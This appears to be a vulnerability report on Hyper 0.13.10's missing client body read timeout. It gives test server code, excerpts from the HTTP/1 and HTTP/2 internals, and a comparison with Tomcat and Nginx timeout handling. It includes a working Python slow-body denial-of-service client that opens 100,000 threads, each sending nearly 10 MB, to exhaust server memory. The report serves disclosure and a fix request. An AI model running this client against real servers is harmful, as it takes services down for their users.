Description
Version
0.13.10
Description
When the Hyper serves as the server, the client body reading timeout is not implemented. As a result, the connection may be fully occupied by slow attacks from the client and memory may be exhausted.
The following is an example of an attack:
-
Use Hyper to create an HTTP server and perform HTTP1.1 and HTTP2 tests.
Construct the following test code (for details, see the official example https://github.com/hyperium/hyper/blob/master/examples/params.rs). The sample code uses the
to_bytes
method to obtain the client body packet and print the body content.Server code:
// Respond to all requests and use to_bytes to read the body. async fn handle(req: Request<Body>) -> Result<Response<Body>, hyper::Error> { let bytes = hyper::body::to_bytes(req).await?; let body: String = String::from_utf8_lossy(bytes.as_ref()).to_string(); println!("body : {:?}", body); // Test whether the to_bytes method is suspended. Ok(Response::new("Hello, World!\n".into())) } #[tokio::main] async fn main() { let addr = SocketAddr::from(([0, 0, 0, 0], 1337)); let make_svc = make_service_fn(|_conn| async { Ok::<_, Infallible>(service_fn(handle)) }); let server = Server::bind(&addr).serve(make_svc); if let Err(e) = server.await { eprintln!("server error: {}", e); } }
1)Test the HTTP1 protocol stack. The HTTP1 protocol stack is a hyper project. The code is as follows:
Key code: conn.rs, io.rs, dispatch.rs, body.rs, and decode.rs.
The test result shows that no data with the length of Content-Length is received. The io.rs keeps reading the data.
fn read_mem(&mut self, cx: &mut task::Context<'_>, len: usize) -> Poll<io::Result<Bytes>> { if !self.read_buf.is_empty() { let n = std::cmp::min(len, self.read_buf.len()); Poll::Ready(Ok(self.read_buf.split_to(n).freeze())) } else { println!("291 begin poll_read_from_io {:?}", len); let n = ready!(self.poll_read_from_io(cx))?; println!("291 end poll_read_from_io {:?}", len); Poll::Ready(Ok(self.read_buf.split_to(::std::cmp::min(len, n)).freeze())) } }
After testing, the read_mem method keeps waiting for data. If the method does not return data, the to_bytes method at the data receiving end is suspended.
The data read from the client is cached in the
vec
array variable of the to_bytes() method.pub async fn to_bytes<T>(body: T) -> Result<Bytes, T::Error> where T: HttpBody, { futures_util::pin_mut!(body); // If there's only 1 chunk, we can just return Buf::to_bytes() let mut first = if let Some(buf) = body.data().await { buf? } else { return Ok(Bytes::new()); }; let second = if let Some(buf) = body.data().await { buf? } else { return Ok(first.copy_to_bytes(first.remaining())); }; // With more than 1 buf, we gotta flatten into a Vec first. let cap = first.remaining() + second.remaining() + body.size_hint().lower() as usize; let mut vec = Vec::with_capacity(cap); vec.put(first); vec.put(second); while let Some(buf) = body.data().await { vec.put(buf?); } Ok(vec.into()) }
Based on the preceding analysis, the attack client starts 100,000 processes and sets the Content-Length of the request packet to 10 MB. Each process sends 10 MB-1 data to the server until the process memory is exhausted, causing the host memory to be exhausted.
Client code:
#!/usr/bin/env python # coding=utf-8 import socket import ssl import time import threading def send(id): s = ssl.wrap_socket(socket.socket()) s.connect(("127.0.0.1", 1337)) data = "GET /test HTTP/1.1\r\n" + \ "Host: 127.0.0.1:1337\r\n" + \ "Content-Length: 10480000\r\n\r\n" s.send(data.encode('utf-8')) for i in range(1000): body = b"1"*10479 s.send(body) d = s.recv(1024) print("thread id %s finish:%s" % (id,d)) threads = [] for i in range(100000): threads.append(threading.Thread(target=send,args=(i,))) for t in threads: time.sleep(0.001) t.start() for t in threads: t.join()
2)Testing HTTP2. The HTTP2 protocol stack of hyper is a subproject of H2.
The data frame processing code for HTTP2 is in data.rs, which has a very important function:
/// Gets the value of the `END_STREAM` flag for this frame. /// /// If true, this frame is the last that the endpoint will send for the /// identified stream. /// /// Setting this flag causes the stream to enter one of the "half-closed" /// states or the "closed" state (Section 5.1). pub fn is_end_stream(&self) -> bool { self.flags.is_end_stream() }
In the send_data method in prioritize.rs, if frame.is_end_stream is set to true, the flow closing processing is updated.
if frame.is_end_stream() { stream.state.send_close(); self.reserve_capacity(0, stream, counts); }
When the H2 protocol stack receives a data frame, if the data frame ends, is_end_stream() returns true. If the data frame does not end, false is returned. The H2 protocol stack continues to receive more data. If is_end_stream returns true, the end data receiving to_bytes method returns normally.
The is_end_stream method of data.rs can directly return false. Even if the normal end frame is sent, the H2 protocol stack continuously receives data, and to_bytes is suspended.
pub fn is_end_stream(&self) -> bool { let flag = self.flags.is_end_stream(); println!("h2 data is_end_stream: {:?}", flag); false }
According to the test result, if the is_end_stream method does not return true, to_bytes is suspended because the end frame is not correctly calculated during data reading at the HTTP2 bottom layer. As a result, to_bytes keeps processing the read status when reading data.
A similar attack is used on HTTP2. The client does not send a data end frame, but the server waits for the data end frame. The client can send a large amount of data to the HIRO, causing the host memory to be exhausted.
-
For other web containers, such as Tomcat, Nginx processes incomplete data. Tomcat has the SocketTime processing mechanism, and Nginx has the client_body_timeout processing mechanism. The problem does not occur when data is suspended. The following uses the timeout processing mechanism of the Tomcat as an example:
1)The Tomcat process socket read timeout mechanism is as follows:
Code in: org.apache.tomcat.util.net.Nio2Endpoint.fillReadBuffer method
try { integer = ((Nio2Channel)this.getSocket()).read(to); long timeout = this.getReadTimeout(); if (timeout > 0L) { //If timeout is set and no data is read from the socket within the timeout period, SocketTimeoutExcception is returned. nRead = (Integer)integer.get(timeout, TimeUnit.MILLISECONDS); } else { nRead = (Integer)integer.get(); } } catch (ExecutionException var12) { if (var12.getCause() instanceof IOException) { throw (IOException)var12.getCause(); } throw new IOException(var12); } catch (InterruptedException var13) { throw new IOException(var13); } catch (TimeoutException var14) { integer.cancel(true); throw new SocketTimeoutException(); } finally { this.readPending.release(); }
If timeout is set and no data is read from the socket within the timeout period, SocketTimeoutExcception is returned.
This parameter can be configured in the server.xml file:
<Connector port="1337" protocol="HTTP/1.1" redirectPort="8443" maxPostSize="200" connectionTimeout="20000" #This parameter can be used to set the SocketTimeout time, which is valid after testing. maxHttpHeaderSize="8192" minSpareThreads="2" maxThreads="100"/>
The configured connectionTimeout is 20 seconds, which is valid after testing.
In conclusion, client body read timeout is a common slow attack defense method. Hyper is an excellent HTTP proxy component of Rust and should implement related functions.